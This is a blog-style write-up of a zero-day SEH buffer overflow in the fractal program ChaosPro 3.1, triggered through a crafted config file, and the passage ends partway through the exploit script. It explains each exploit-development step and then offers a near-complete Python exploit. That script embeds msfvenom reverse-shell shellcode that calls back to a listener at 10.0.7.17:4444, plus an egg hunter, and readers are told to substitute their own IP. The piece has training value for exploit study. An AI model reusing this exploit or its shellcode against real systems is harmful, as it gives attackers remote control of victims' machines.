46 Minute Read

Retro Exploit Series: Zero Day

This is going to be part one of a series that I am calling the Retro Exploit Series … and Episode One is my first zero day for a program called Chaos Pro. So strap into your DeLorean and set the date for October 04, 2003 because here we go!

While preparing for the Offensive Security Certified Expert exam (I passed!) I found myself wondering if these new skills could be put to use on something outside the course work. Since I have always had a weird fascination with fractals, and since I remember messing around with a bunch of different fractal generation programs when I was younger, I decided to start there.

The criteria for this quest was simple … I wanted to locate an exploit that had not been found before, and I also wanted to take that exploit all the way to a reverse shell …


TLDR; - JMP short The Exploits


Our Subject

While looking at older fractal generation programs I ended up narrowing it down to one that is called ChaosPro. In particular we are going to be taking a look at the version 3.1.0.422 as we will later see if suspectable to a very fun (and painful) buffer overflow!

Responsible Disclosure

I am a big believer in disclosing issues responsibly, and I attempted to establish contact with the developer multiple times over several months … unfortunately none of the emails that I sent were ever replied to. I got busy with life and completely forgot about this post and only just noticed it sitting in my drafts folder today while taking a look at my blog again.

So, after close to year without a response (and a small window where I completely forgot about this exploit) I decided to go ahead and release the write up…

Quick Note on CVEs

Just to see what the process was like for getting a CVE I attempted to see if this qualified … spoiler alert, it did not. Turns out those sweet sweet CVEs are typically only handed out for things with a higher risk, such as network aware etc.

Our Tools

For this exercise we are going to be using three primary tools:

  1. Windows XP SP3 (x86)
  2. OllyDbg 1.10
  3. SafeSEH plugin for OllyDbg
  4. MSFVenom (for shellcode generation)
  5. Calculator … cause math

The Foothold

With every successful exploit the first thing we need to do is cause an application to crash!

Since this application does not have any sort of network connectivity I started poking around at the different types of files that were loaded by the application hoping that one of them would overflow a buffer or two. As fate would have it, and through many hours of trying different types of files, I was able to find one!

In the root of the applications installation directory there was a file that was created called ChaosPro.cfg (C:\Program Files\ChaosPro3.1) which contained some very interesting looking contents…

ProjectPath C:\Program Files\ChaosPro3.1\Fractals
PalettePath C:\Program Files\ChaosPro3.1\Palettes
FormulaPath C:\Program Files\ChaosPro3.1\Formulas
Username Administrator
CompilerFormulaPath C:\Program Files\ChaosPro3.1\Formulas\Compiler;C:\Program Files\ChaosPro3.1\Formulas\Ultra Fractal
AnimPath C:\Program Files\ChaosPro3.1\Anims
PicturePath C:\Program Files\ChaosPro3.1\Pictures
TexturePath C:\Program Files\ChaosPro3.1\Textures
ExportPath C:\Program Files\ChaosPro3.1\Pictures


When looking for overflows I have found that by replacing values that are hard coded (such as C:\Program Files\ChaosPro3.1\Fractals) with something much longer (like 5,000 A’s) very interesting things can happen … which in this case was a crash within the application!

The Crash

As we can clearly see below we ended up with an error in the Olly!

OllyDbg initial crash

Even more exciting is that after checking the SEH chain we can see that we have successfully overwritten the SEH address with 41414141 or AAAA!

OllyDbg initial crash - seh overwrite

The next step we need to take is to see if we can use the SEH overwrite … and in order to do that we can use the OllyDbg plugin called SafeSEH, which produced the following output:

OllyDbg initial crash - safe seh

Taking note of the red highlighted row we can see that ChaosPro does indeed fail to enforce the SafeSEH Protection that would have added another layer of difficulty in performing the exploitation.

41414141

So now that we have successfully overwritten the address of SEH we need to figure out where exactly in our string of “A”s that those specific four A’s are located … and fortunately for us there is a tool within the Metasploit framework called Pattern Create and Pattern Offset that can do just that.

Pattern Create

To create a pattern (at least on backtrack 5r3) you will end up running the following command:

/opt/metasploit/apps/pro/msf3/tools/pattern_create.rb 5000


which will produce the following output

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3A...Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk


Now all we have to do is replace our 5,000 A’s with the value that was generated for us and we should be able to easily identify what position our SEH address is located at!

Sure enough, take a look at the value in the SE handler when we run ChaosPro again!

OllyDbg initial crash - seh pattern

Looks like our pattern offset is going to be at the characters 6A42336A!

Pattern Offset

Now that we know that our pattern is 6A42336A getting the offset is as simple as running the following command:

/opt/metasploit/apps/pro/msf3/tools/pattern_offset.rb 6A42336A 5000


Which tells us that we have a match at position 1060, which means that we will need to put the address for our POP POP RET immediately after!

POP POP RET

So when it comes to exploitation for an SEH based overflow (without SafeSEH protections in place) there are two things that need to happen … the first is to put four bytes of code that you would like to execute directly in front of the address of the POP POP RET and the second is to find a valid POP POP RET address that does not contain any bad characters …

In OllyDbg you can simply hit Ctrl+S and you will be greeted by a “Find sequence of commands” box, which will let us search for a sequence of commands ;)

Next we need to put in the commands to search for, and again, OllyDbg gives us a way to shortcut it a little but allowing us to replace specific registers with r32, so our search command looks like the following:

pop r32
pop r32
ret


OllyDbg sequence of commands

And after hitting find we are met with our first match at address 0040105D. By hitting Ctrl+L you can continue searching for different matches as well, which comes in pretty handy when you are dealing with bad characters … in our case the first address that I was able to locate that did not contain any bad characters was at location: 0040105D (our first match)

0x00

Some of you may have already noticed … but when writing exploits it is fairly universal that a null byte (0x00) will very often ruin all the things, and this is no exception!

However, lets think about the type of buffer we are overflowing … it is almost certainly a string buffer, and with string functions we know that there will be a \0 at the end of that string … which is in fact a null byte, so if we are lucky in our assumption and we only overwrite the first three bytes of the SEH address then the strings own null terminator will in fact be inserted into the fourth byte for us!

Sure enough, when we do this:

("A" * 1060) + "\x5D\x10\x40"


We are met with a code redirection to our POP POP RET as our breakpoint in the SEH chain shows!


OllyDbg sequence of commands

Kris Kross Will Make You …

Jump Jump is indeed the path we are going to have to take … with the POP POP RET method we are going to be returned exactly four bytes before \x5D\x10\x40 so we will have just enough room to jmp backwards up the stack and get a little more breathing room … however we hit our first real issue … bad characters. The opcode for JMP is EB which ends up being a bad character … this application has a ton of them … however I was able to determine that mostly anything outside of the alphanumeric character range, with a few exceptions (like 0x80 fortunately) is what were considered bad.

So if we can’t JMP what can we do? Well after cruising http://ref.x86asm.net/coder32.html and checking out everything between about 0x29 to 0x7F it was clear that there were still a lot of jumping we could do.

By checking the state of our zero flag we can see that at this point in the exploitation phase we are going to be able to jump with an opcode of 0x75 which will translate to Jump If Not Zero!

Through some experimentation I ended up settling on \x40\x75\x80\x75, which tells the computer to JNZ 0x80. You will probably notice that I also have \x40\x75 listed, this is just there to take up space … normally I would have used a NOP (0x90) but 0x90 is in our bad character range!

If you are unsure why I would be using 0x80 to jump backwards then check out this solid write up for more information: https://thestarman.pcministry.com/asm/2bytejumps.htm

Ok, so we have jumped backwards by 0x80 (128 decimal) … that is only 80 bytes … that doesn’t give us a lot of room to play with here! Correct you are, but if we do our math correctly we can jump backwards exactly 0x80 and land directly on another \x40\x75\x80\x75, which we do again and again and again and again as far up the stack as we either can or need to …

So we have now covered jumping backwards, however you correct if you are sitting there thinking that we have just jumped backwards and are going to eventually run right back into ourselves and jump backwards again in a recursive loop forever…


groundhog day recursive loop

Good call, however if we add a small forward jump right before backwards jump to jump over our backwards jump then we should be good to go …

To jump over our backwards jump we will need to jump forward by 0x06 bytes since we need to clear the unused two bytes at the end of the forward jump as well as the four bytes of the backwards jump. That ends up being: \x40\x75\x06\x75

To make life a little easier I went ahead and added the following variables to the python exploit script:

#this needs to be a backwards jump to give us room to call stack jump code
jmpback80    = "\x40\x75\x80\x75"
jmpforward06 = "\x40\x75\x06\x75"


We can now jump backwards up the stack as far as we want (400ish bytes) and execute that code sliding downwards successfully jumping over the backwards jumps along the way … all while having to stick to characters found within the alphanumeric character range (0x20 t0 0x7F).

I don’t know about you but to me the first thing that comes to my mind is to try to leverage an EggHunter!

Secondary Payload

What if there was a way to insert another payload … one that wasn’t limited to the space left from performing a buffer overflow? As long as we can get the program to process our input before the program crashes (and doesn’t cause an overflow itself) then there will an excellent chance that the entirety of our payload will be stored somewhere in the programs memory.


yo dawg

Let’s go ahead and generate some shellcode to test with … and what better than a reverse shell?

In order to try to limit the bad characters as much as absolutely possible I am using the alpha_upper encoder to enforce only uppercase alphanumeric characters … thanks msfvenom!

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.7.17 LPORT=4444 -e x86/alpha_upper -a x86 --platform windows -f c -b '\x00'


Which returns:

[*] x86/alpha_upper succeeded with size 762 (iteration=1)
unsigned char buf[] = 
"\x56\x54\x58\x36\x33\x30\x57\x54\x58\x36\x33\x38...


Yowsers, that is 762 bytes long … heres hoping we can find a place to put that …

Let’s take another look at that config file that we are tampering with:

Username Administrator


Oh my, Username sure looks like an interesting possibility to me for storing our payload …

In an effort to try to get the application to process Username first I added it to the config file first which means it ends up looking something like:

Username Username T00WT00WƒÄ‰áÛ×Ùqô^VYIII......
ProjectPath AAAAAAAAAAAAAAAAAAA....]@


After launching the program through OllyDbg and crashing again we can open up the memory module section (Alt+M) and search for our egg T00WT00W to see if it is anywhere in memory (Ctrl+B)…

Search Olly Memory

Which will produce the following results …


Found Our Egg

After double checking the output we do indeed see that the entire reverse shell shellcode is present and accounted for … things are starting to look good!

As a side note, yes, you are right, there are some bad characters that did make it through … they are needed for determining the location of the shellcode on the stack to start decoding the shellcode. My assumption here is that since this is a Username and not a path that is a little more flexible on the characters being allowed through. Since it worked I did not dig in any deeper, however incase you need to know this, there is a way to manually specificy the location of the shellcode to msfvenom called BufferRegister=REG32, which more information on can be found at: https://www.offensive-security.com/metasploit-unleashed/alphanumeric-shellcode/

Hunter of Eggs

Ok, so we now know that our egg is stored in memory … lets call upon our hunter of eggs to search out that location in memory and then jump to it!

hunter of eggs

I don’t know about you, but I wouldn’t want that Egg Hunter coming for me … but fortunately it’s going to be going after our secondary payload instead …

If you are not familiar with the concept of an egg hunter I would encourage you to check out this awesome write up by fuzzy security: http://www.fuzzysecurity.com/tutorials/expDev/4.html

There are lots of egg hunters floating around, however I tweaked one a bit and generally use the following:

loop_inc_page:
	or    dx, 0x0fff                    ; Add PAGE_SIZE-1 to edx
loop_inc_one:
	inc   edx                           ; Increment our pointer by one
loop_check:
	push  edx                           ; Save edx

	; this causes a series of null bytes
	;push  0x2                          ; Push NtAccessCheckAndAuditAlarm

	xor ebx, ebx                        ; zero out ebx
	inc ebx                             ; add one to ebx
	inc ebx                             ; add one to ebx
	push ebx                            ; Push NtAccessCheckAndAuditAlarm
	
	pop   eax                           ; Pop into eax
	int   0x2e                          ; Perform the syscall
	cmp   al, 0x05                      ; Did we get 0xc0000005 (ACCESS_VIOLATION) ?
	pop   edx                           ; Restore edx
loop_check_8_valid: 
	je    loop_inc_page                 ; Yes, invalid ptr, go to the next page

is_egg:
	mov   eax, 0x57303054               ; Throw our egg in eax
	mov   edi, edx                      ; Set edi to the pointer we validated
	scasd                               ; Compare the dword in edi to eax
	jnz   loop_inc_one                  ; No match? Increment the pointer by one
	scasd                               ; Compare the dword in edi to eax again (which is now edx + 4)
	jnz   loop_inc_one                  ; No match? Increment the pointer by one

matched:
	jmp   edi                           ; Found the egg.  Jump 8 bytes past it into our code.


Which after linked and dumped into hex will translate into the following:

"\x66\x81\xca\xff\x0f\x42\x52\x31\xdb\x43\x43\x53\x58\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x54\x30\x30\x57\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"


Unfortunately, even through Username let some bad characters through, ProjectPath is not going to be so kind … so what can we do?

It turns out that there is a method of converting shellcode containing bad characters into commands not containing bad characters that will allow us to insert bad characters onto the stack in such a way that we can still execute them … although it is very tedious. There have been plenty of scripts, etc written to automate this (myself included) however I believe it’s important to understand the basics so lets dive in:

If we take a look at the shellcode for our egg hunter it’s important to remember that this is being executed by an x86/little endian processor, so our code is actually:

41 66 81 CA
FF 0F 42 52
31 DB 43 43
53 58 CD 2E
3C 05 5A 74
EC B8 54 30
30 57 89 D7
AF 75 E7 AF
75 E4 FF E7


So, when this code is executed that is the order in which it needs to be executed, however there is one more twist, since it’s little endian it needs to be inserted backwards and in reverse order … so really it needs to be pushed onto the stack like this:

This will make more sense in a few minutes … but by pushing onto the stack in that order we will end up with a stack that looks like this:

E7 FF E4 75
AF 75 E7 AF
30 57 89 D7
EC B8 54 30
3C 05 5A 74
53 58 CD 2E
31 DB 43 43
FF 0F 42 52
41 66 81 CA
I added 41 in place of a NOP, since 0x90 is a bad character and I need this to be four bytes long for the next step …

Aligning Our Stack

What does this even mean? Great question … so after we take our JNZ stroll far enough up the stack to contain our shellcode (that has yet to be written) we find EIP sitting at address 00F2FE63. Part of the sneakiness that we will be doing is getting the address of the stack location that we want to push our shellcode into the EAX register.

Why would we do this? Well, right now we are sitting up the stack, which contains our shellcode … and by pushing our egg hunting shellcode to the bottom area of the stack that we are about to start sliding down we can create a situation where we run smack dab into our newly inserted shellcode, thus being able to execute our egghunter which is full of bad characters. Why are we using EAX to for pushing the shellcode? Primarily because the opcodes needed to push to EAX not being part of the bad character set … push eax is “\x50” in hex, which we can freely use!

Next up comes a little guesstimating … if we take a look at our stack, and armed with the knowledge that our egg hunter is 36 bytes long we can figure out that if we start at 00F2FFCA that we should have just enough room to insert our egg hunters code byte by byte.

This might make a little more sense if we continue to break it down …

Here is a listing of the order in which we need to align the stack…

zero_eax
push_esp
pop_eax
align_stack
push_eax
pop_esp


Which would translate to:

"\x25\x7e\x7e\x05\x7e\x25\x01\x01\x7a\x01"
"\x50"
"\x58"
"\x2d\x8f\x8e\x8d\x8c\x2d\x7e\x68\x71\x72\x2d\x01\x01\x01\x01"
"\x50"
"\x5c"


Take a look at a screenshot from Olly and you will see the same exact opcodes that we are using.

olly stack align

Which translates to the assembly code:

AND EAX,7E057E7E
AND EAX,17A0101
PUSH ESP
POP EAX
SUB EAX,8C8D8E8F
SUB EAX,7271687E
SUB EAX,1010101
PUSH EAX
POP ESP


What is with all this anding and subbing?

Well, we need to start out by finding out what two values we can perform a logical AND operation on which will equal Zero so that we can zero out the EAX register … which in our case happens to be 7E057E7E and 17A0101. If you perform a logical AND operation on those two numbers you will end up at 00000000!

So thus far we are zeroing out EAX and then immediately pushing the value in ESP (00F2F7D8) onto the stack and then immediately popping that value into EAX.

No we have 00F2F7D8 in EAX…at this point we need to find a way to get the value of EAX to be 00F2FFCA, so how do we do that…

We subtract! The opcode for subtract is 0x2D, which is not a bad character … so we now need to find three sets of numbers that can be subtracted from 00F2F7D8 that will leave the value in the EAX register equal to 00F2FFCA at which point we will push that value onto the stack and pop it into ESP so that our stack will be pointing to the memory address of 00F2FFCA, which is where we will be wanting our shellcode to go!

SUB SUB SUB

I will do my best to explain how this works … but another excellent write up can be found at https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/

Ok … step one is going to be us figuring out how much distance is between these two addresses …

  00F2FFCA
- 00F2F7D8
----------
  000007F2


Next up we need to take the Two’s Compliment of 000007F2 which we can be calculated as such:

  FFFFFFFF
- 000007F2
+ 00000001
----------
  FFFFF80E


Ok, so we need to find three numbers that when added together will equal to FFFFF80E all while not using any bad characters …

I find it much easier to not think about the entire number at once but instead think about it like four sets of two bytes, which can overflow into the next set of bytes …

Lets start by setting up as follows and trying to find a single number subtracted from 0x0E that is not a bad character and also leaves room for us to still get to zero without going negative …

   FF FF F8 0E
-   
--------------


Right off the bat we are met with an issue, as that is going to be a tall order to fill, but since we can overflow we have options. Let’s start by adding 0x100 to FFFFF80E, which will turn it into FFFFF90E and in our case means we need to subtract three values from 0x10E that equal zero … a much simpler task. One thing to remember is that since we are overflowing a 1 into the next set of bytes that we still will actually need to subtract our next set of values one lower since the overflow will be adding one into it and by subtracting one from it instead of FFFFF90E we are able to turn it back into FFFFF80E… so our next section will have us subtracting from 0xF7 instead of 0xF8.

            10E
   FF FF F7 0E
-           8F
--------------
            7F
-           7E
--------------
            01
-           01
--------------
            00


Awesome, we now know the last set of bytes that need to be subtracted to end up with 00F2FFCA in EAX …

If we do this three more times we will end up with:

            10E
   FF FF F7 0E
-  8C 8D 8E 8F
--------------
   73 72 69 7F
-  72 71 68 7E
--------------
   01 01 01 01
-  01 01 01 01
--------------
   00 00 00 00


Following that pattern we ended up with which when added together equals:

  8C 8D 8E 8F
  72 71 68 7E
+ 01 01 01 01
--------------
  FF FF F8 0E


Ok, so what now … well now we need to put the subtraction values together, however we need to pay special attention to this all being little endian again … so we need to make sure we reverse the values when creating our shellcode for this so our math works out correctly:

"\x2d\x8f\x8e\x8d\x8c" # SUB EAX, 8C8D8E8F
"\x2d\x7e\x68\x71\x72" # SUB EAX, 7271687E
"\x2d\x01\x01\x01\x01" # SUB EAX, 01010101


After subtracting those values EAX will now equal 00F2FFCA and we can push that value right onto the stack and immediately pop it back into ESP, which now has our stack look like the following:
olly stack align esp

Ah Push It … Push It Real Good

Now that we know how to perform the triple subtraction method it’s time to start working on our actual shellcode … for the sake of sanity I am going to only do one of these … bear with me though, as this is only going to continue to get more complicated … but just remember that when we finish each section of shellcode that we need to push it into EAX real good!

As a friendly reminder this is the order in which we need to push the shellcode onto the stack:

1. 75 E4 FF E7
2. AF 75 E7 AF
3. 30 57 89 D7
4. EC B8 54 30
5. 3C 05 5A 74
6. 53 58 CD 2E
7. 31 DB 43 43
8. FF 0F 42 52
9. 41 66 81 CA


However, when we do our mathematical calculations it needs to be on the values as they would normally appear:

1. E7 FF E4 75
2. AF E7 75 AF
3. D7 89 57 30
4. 30 54 B8 EC
5. 74 5A 05 3C
6. 2E CD 58 53
7. 43 43 DB 31
8. 52 42 0F FF
9. CA 81 66 41


Just like before we need to remember to clear EAX and then immediately push it.

After we do that we are ready to start calculating our first set of four bytes: E7FFE475

First up, remember we need to start with the two’s compliment!

   FFFFFFFF
-  E7FFE475
+  00000001
-----------
   18001B8B


Excellent … now we just need to run the SUB SUB SUB on 18001B8B

    1  1 1B
   17 FF 1B 8B
-  86 87 88 89
--------------
   91 78 93 02
-  8F 77 8F 01
--------------
   02 01 04 01
-  02 01 04 01
--------------
   00 00 00 00


After doing all of the overflow operations we should end up with:

   86 87 88 89
   8F 77 8F 01
+  02 01 04 01
--------------
 1 18 00 1B 8B


Since we can safely ignore anything after the eighth locations to the left we do indeed end up with: 18001B8B!

Now, another very important part … remember when building the shellcode to reverse the location of the values being pushed in like so:

# SUB SUB SUB
"\x2D\x89\x88\x87\x86" # SUB EAX, 86878889
"\x2D\x01\x8F\x77\x8F" # SUB EAX, 8F778F01
"\x2D\x01\x04\x01\x02" # SUB EAX, 02010401

# Remember to push it ... push it real good
"\x50" # PUSH EAX


If all goes well then we should now be looking at our desired shellcode in pushed into the stack like so:
first set of instructions in stack/buffer

I am jumping ahead slightly … but when we do all of our math and push all of our commands we are going to end up with:
full set of instructions in stack/buffer

Let It Slide

So at this point we are starting to make some real headway into the exploit, but we are not there yet. Just like the Goo Goo Dolls we are going to have to let it slide …

Those of you paying attention will have noticed that we have ended up with multiple sections of space where we can insert our shellcode … but the blocks of space are never more than about 120 bytes, which is way less space than we need in order to put the full manual encoding of shellcode. So what are we doing exactly?

I am cramming as many instructions as I can into the space I have available, and when I can no longer fit complete sets of commands I let it slide to the next downward jump and then I start all over again with the next set of instructions … for instance:

full set of instructions in stack/buffer

It can be a major pain to keep track of everything … but by doing this we end up with just enough room to fully build our shellcode which we will then conveniently end up sliding into as so:

full set of instructions in stack/buffer

One Last Fix

We need to take one moment and talk about one last fix we need to do…

Right before our shellcode and right after our egg there is a command that I have put in:

# adjust the stack from 00F2FFA6 to 00F2FFA8
payload += "\x83\xC4\x02"


I do not want to admit how long it took me to figure this out. As it turns out it is incredibly important when dealing with x86 on Windows that the stack be properly aligned on a 16 byte boundary before making system calls, etc. More Info

In the case of our exploit we end up with our stack sitting at 00F2FFA6, which if left unchanged will cause a very cryptic and impossibly confusing problem to figure out … however, by adding 0x02 to ESP (“\x83\xC4\x02”) we are able to move the stacks address up to 00F2FFA8 which is aligned on a 16 byte boundary (if the last digit is a 0 or an 8 you are good to go) and our exploit will work without any issues!

At this point really all that is left is the let our egg hunter run and wait for that sweet sweet reverse shell …

reverse shell

Exploits

Below are the three exploits that will produce full reverse shells, all that needs to be done is to replace the payload with one for your IP address.

ChaosPro 3.1 proved the be the trickiest out of the bunch as it had so many bad characters … but with 2.0 and 2.1 we were able to just directly inject the egg hunter code without having the manually encode it, which means we did not end up having to get fancy, so that is why they are so much smaller!

ChaosPro 3.1

#!C:\Python27\python.exe

# Title     : ChaosPro 3.1
# Twitter   : @securitychops
# Blog Post : https://securitychops.com/2019/08/24/retro-exploit-series-episode-one-chaospro-3-1.html

# our egg!
payload = "T00WT00W"

# adjust the stack from 00F2FFA6 to 00F2FFA8
payload += "\x83\xC4\x02"

#the payload
payload += (
# msfvenom -p windows/shell_reverse_tcp LHOST=10.0.7.17 
# LPORT=4444 -e x86/alpha_upper -a x86 --platform windows -f c -b '\x00'
"\x89\xe1\xdb\xd7\xd9\x71\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4c\x42\x53\x30"
"\x33\x30\x43\x30\x55\x30\x4b\x39\x4b\x55\x46\x51\x4f\x30\x32"
"\x44\x4c\x4b\x56\x30\x56\x50\x4c\x4b\x46\x32\x54\x4c\x4c\x4b"
"\x50\x52\x45\x44\x4c\x4b\x34\x32\x37\x58\x44\x4f\x4f\x47\x30"
"\x4a\x36\x46\x30\x31\x4b\x4f\x4e\x4c\x47\x4c\x45\x31\x43\x4c"
"\x44\x42\x56\x4c\x47\x50\x4f\x31\x58\x4f\x34\x4d\x45\x51\x39"
"\x57\x4b\x52\x4c\x32\x56\x32\x31\x47\x4c\x4b\x46\x32\x32\x30"
"\x4c\x4b\x50\x4a\x47\x4c\x4c\x4b\x30\x4c\x32\x31\x52\x58\x4b"
"\x53\x31\x58\x53\x31\x4e\x31\x36\x31\x4c\x4b\x50\x59\x37\x50"
"\x45\x51\x58\x53\x4c\x4b\x47\x39\x35\x48\x4d\x33\x37\x4a\x30"
"\x49\x4c\x4b\x57\x44\x4c\x4b\x53\x31\x49\x46\x46\x51\x4b\x4f"
"\x4e\x4c\x39\x51\x58\x4f\x54\x4d\x45\x51\x4f\x37\x36\x58\x4d"
"\x30\x33\x45\x4a\x56\x43\x33\x43\x4d\x4c\x38\x57\x4b\x43\x4d"
"\x56\x44\x42\x55\x5a\x44\x31\x48\x4c\x4b\x46\x38\x31\x34\x35"
"\x51\x4e\x33\x35\x36\x4c\x4b\x34\x4c\x30\x4b\x4c\x4b\x56\x38"
"\x45\x4c\x55\x51\x38\x53\x4c\x4b\x54\x44\x4c\x4b\x45\x51\x38"
"\x50\x4d\x59\x51\x54\x46\x44\x56\x44\x31\x4b\x31\x4b\x43\x51"
"\x31\x49\x50\x5a\x30\x51\x4b\x4f\x4b\x50\x51\x4f\x31\x4f\x51"
"\x4a\x4c\x4b\x32\x32\x4a\x4b\x4c\x4d\x31\x4d\x42\x48\x47\x43"
"\x57\x42\x53\x30\x55\x50\x35\x38\x53\x47\x43\x43\x30\x32\x31"
"\x4f\x31\x44\x33\x58\x30\x4c\x33\x47\x57\x56\x54\x47\x4b\x4f"
"\x49\x45\x48\x38\x4a\x30\x35\x51\x43\x30\x35\x50\x56\x49\x59"
"\x54\x36\x34\x36\x30\x52\x48\x56\x49\x4b\x30\x52\x4b\x35\x50"
"\x4b\x4f\x59\x45\x30\x50\x56\x30\x56\x30\x46\x30\x51\x50\x36"
"\x30\x57\x30\x46\x30\x55\x38\x4a\x4a\x54\x4f\x39\x4f\x4b\x50"
"\x4b\x4f\x39\x45\x4d\x47\x42\x4a\x35\x55\x52\x48\x45\x5a\x53"
"\x30\x33\x37\x34\x51\x52\x48\x45\x52\x53\x30\x54\x51\x31\x4c"
"\x4d\x59\x5a\x46\x32\x4a\x52\x30\x50\x56\x46\x37\x32\x48\x5a"
"\x39\x59\x35\x54\x34\x43\x51\x4b\x4f\x39\x45\x4d\x55\x49\x50"
"\x33\x44\x44\x4c\x4b\x4f\x30\x4e\x44\x48\x43\x45\x5a\x4c\x35"
"\x38\x4c\x30\x48\x35\x4f\x52\x36\x36\x4b\x4f\x49\x45\x55\x38"
"\x52\x43\x52\x4d\x52\x44\x43\x30\x4b\x39\x4b\x53\x56\x37\x46"
"\x37\x31\x47\x50\x31\x4a\x56\x33\x5a\x42\x32\x51\x49\x46\x36"
"\x4b\x52\x4b\x4d\x53\x56\x4f\x37\x51\x54\x57\x54\x37\x4c\x53"
"\x31\x43\x31\x4c\x4d\x50\x44\x31\x34\x34\x50\x58\x46\x55\x50"
"\x30\x44\x31\x44\x30\x50\x30\x56\x50\x56\x50\x56\x30\x46\x36"
"\x36\x50\x4e\x31\x46\x50\x56\x50\x53\x31\x46\x43\x58\x52\x59"
"\x58\x4c\x47\x4f\x4b\x36\x4b\x4f\x49\x45\x4d\x59\x4d\x30\x50"
"\x4e\x30\x56\x57\x36\x4b\x4f\x36\x50\x45\x38\x44\x48\x4c\x47"
"\x35\x4d\x45\x30\x4b\x4f\x49\x45\x4f\x4b\x5a\x50\x48\x35\x59"
"\x32\x30\x56\x42\x48\x4e\x46\x4a\x35\x4f\x4d\x4d\x4d\x4b\x4f"
"\x4e\x35\x37\x4c\x54\x46\x53\x4c\x54\x4a\x4d\x50\x4b\x4b\x4b"
"\x50\x52\x55\x33\x35\x4f\x4b\x31\x57\x54\x53\x54\x32\x32\x4f"
"\x43\x5a\x33\x30\x31\x43\x4b\x4f\x4e\x35\x41\x41"
)

#badchars
#\x0a\x1a\x3b\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a
#\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9
#\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8
#\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7
#\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6
#\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5
#\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4
#\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

# stack alignment
pop_esp     = "\x5c"
pop_eax     = "\x58"
push_eax    = "\x50"
push_esp    = "\x54"
align_stack = "\x2d\x8f\x8e\x8d\x8c\x2d\x7e\x68\x71\x72\x2d\x01\x01\x01\x01"
zero_eax    = "\x25\x7e\x7e\x05\x7e\x25\x01\x01\x7a\x01"

#this needs to be a backwards jump to give us room to call stack jump code
jmpback80         = "\x40\x75\x80\x75"
jmpforward06      = "\x40\x75\x06\x75"

#line containing our payload
line_start = "Username "
line_start += payload + "\n"

#line with our overflow
line_start += "ProjectPath "
junk = line_start

#the buffer starts being overwritten with
# our controlled values at 522
junk += "A" * 522

#junk += alpha_numeric_hex
junk += "A" * (1060 - 522 - 126 - 126 - 126 - len(jmpback80) - len(jmpforward06) - len(jmpforward06))
#- 41 - 4 - 41 - 4 - 41 - 4 - 41 - 4- 41 - 4- 41 - 4- 41 - 4- 41 - 4- 41 - 4)

# baby nopsled
junk += "A" * 9

# ok, lets start working stuff here ... we have 126 bytesish ... 
junk += zero_eax
junk += push_esp + pop_eax  # push esp, pop eax
junk += align_stack
junk += push_eax
junk += pop_esp

# first section into the stack
# e7 ff e4 75
# good 
junk += zero_eax 
junk += "\x2d\x89\x88\x87\x86"
junk += "\x2d\x01\x8f\x77\x8f"
junk += "\x2d\x01\x04\x01\x02"
junk += push_eax

# second section into the stack
# af e7 75 af
# good
junk += zero_eax 
junk += "\x2d\x4f\x4e\x4d\x4c"
junk += "\x2d\x01\x39\x8f\x02"
junk += "\x2d\x01\x03\x3c\x01"
junk += push_eax

# third section into the stack
# d7 89 57 30
# good
junk += zero_eax 
junk += "\x2d\x8f\x8e\x74\x73"
junk += "\x2d\x3e\x19\x01\x8f"
junk += "\x2d\x03\x01\x01\x26"
junk += push_eax

# size for section one
junk += "A" * (
	126
	- 9 # nopsled
	
	# aligning the stack
	- len(zero_eax) 
	- len(push_esp) 
	- len(pop_eax) 
	- len(align_stack) 
	- len(push_eax) 
	- len(pop_esp) 
	
	  # first set of bytes going onto the stack
	- len(zero_eax)
	- 15 
	- len(push_eax)
	
	  # second set of bytes going onto the stack
	- len(zero_eax)
	- 15
	- len(push_eax)
	
	  # third set of bytes going onto the stack
	- len(zero_eax)
	- 15
	- len(push_eax)			
)

# baby nopslep just for breathing room
junk += "AAAA"
# First Jump Backwards 0xFF - 0x80 bytes (0x7F or 127)
junk += jmpforward06
junk += jmpback80

#Section Two

# baby nopsled
junk += "AAA" 

# fourth section into the stack part two
# 30 54 b8 ec
# fourth section into the stack part one
junk += zero_eax 
junk += "\x2d\x80\x15\x75\x75"
junk += "\x2d\x80\x20\x32\x35"
junk += "\x2d\x14\x11\x04\x25"
junk += push_eax

# fifth section into the stack
